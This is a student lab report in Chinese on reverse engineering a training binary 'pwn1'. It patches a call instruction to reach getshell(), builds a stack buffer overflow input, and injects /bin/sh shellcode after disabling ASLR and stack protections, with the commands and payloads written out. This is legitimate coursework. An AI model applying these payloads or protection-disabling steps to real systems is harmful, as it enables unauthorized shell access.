2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解
一、Exp1.1 直接修改程序机器指令,改变程序执行流程
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
实验思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()。
实验步骤:
- 反汇编:查看pwn1的代码机器指令和汇编语言
objdump -d pwn1 | more
main()中call指令指向foo()的内存地址0x08048491
,对应的机器指令为ffffffd7
。现在想把call指令指向getshell()
的内存地址0x0804847d
,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3
。
- 修改机器指令
vi pwn1_1
显示为一堆乱码,因为vi只编辑有效的ASCII码:%!xxd
转化为十六进制显示/d7
快速搜索定位到需要修改的地方:%!xxd -r
修改成功后,返回到原来的ASCII处:wq!
保存修改退出
- 验证是否修改成功:进行反汇编查看机器指令和汇编语言
objdump -d pwn1_1 | more
./pwn1_1
二、Exp1.2通过构造输入参数,造成BOF攻击,改变程序执行流
知识要求:堆栈结构,返回地址
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
实验思路:
实验步骤
- 确认返回地址:
objdump -d pwn1_2 | more
查看getshell()的内存地址
在执行完foo()后,eip指向main()中call指令的下一条指令,现在要修改为getshell()的内存地址,即由0x080484ba
修改为0x0804847d
。
- 反汇编:查看
foo()
的所占字节长
objdump -d pwn1_2 | more
分析可得,0x1c
换算为十进制为28,28+4=32。
- gdb调试:查看eip寄存器的值,验证foo()所占字节长
info r
eip寄存器的值为0x31313131,通过查询ASCII码转换表,发现其与1111相对应。此时可以验证foo()所占字节为32.
- 构造输入字符串:
由于无法键盘输入字符串\x7d\x84\x04\x08\
,所以生成包含字符串的文件BOF.1perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' >EOF.1
。将BOF.1的输出作为pwn1_2的输入,并且执行pwn1_2(cat BOF.1;cat) | ./pwn1_2
三、Exp1.3注入Shellcode并执行
有关shellcode:为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)的机器指令。在此实验中,使用许心远学姐博客提供的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
实验思路:注入shellcode即返回地址为shellcode的起始地址(此时shellcode在返回地址后,也可以在前面)
实验步骤
准备工作
- 下载execstack程序:
apt-get install execstack
- 设置堆栈可执行:
execstack -s pwn1_3
- 查询文件的堆栈是否可执行:
execstack -s pwn1_3
- 查看地址随机化的状态:
more /proc/sys/kernel/randomize_va_space
- 关闭地址随机化:
echo "0" > /proc/sys/kernel/randomize_va_space
- 下载execstack程序:
构造要注入的payload
- 我们选择NSR溢出模式来攻击buf,nop的机器码90
- 构造shellcode:
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
- 注入:
(cat input-shellcode;cat) | ./pwn1_3
- 另外打开一个终端2,查看执行文件进程号:
ps -ef | grep pwn1_3
进入gdb调试,连接进程号
attach 2721
设置断点查看注入buf的内存地址:
- 反汇编:
disassemble foo
- 设置断点:
break *0x080484ae
- 在终端1敲回车键后,在终端2
continue
- 查看esp栈顶指针的地址:
info r esp
- 显示内存的值:
x/16x 0xffffd33c
- 通过查阅资料,由于foo()中leave指令达到
mov esp,ebp
和pop ebp
的作用,esp指针指向原ebp指针的位置。所以shellcode的地址为0xffffd340
- 退出gdb调试
- 反汇编:
回到终端1
exit
退出修改shellcode中的内容:
perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
运行:
(cat input-shellcode;cat) | ./pwn1_3
四、实验中遇到的问题及解决方案
1.运行pwn1_1时,遇到了没有那个文件或目录的问题
解决方案:
- 切换到root用户,用文件编辑器source.list
leafpad /etc/apt/sources.list
- 添加下列更新源
#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
- 更新软件
apt-get clean
apt-get update
- 安装32位运行库
apt-get install lib32z1
参考博客链接
2.在gdb调试pwn1_3时,无法连接到进程号。
在张羽昕同学的帮助下,发现是获取进程号的指令和gdb调试未在同一个终端下,改正后连接成功。
3.在做Exp1.3时,无法下载execstack
原因是可能之前在运行apt-get
指令未执行完就退出了,只需要结束此进程就可以
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
参考博客链接
五、报告小结
- 实验收获与感想
- 什么是漏洞?漏洞有什么危害?
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器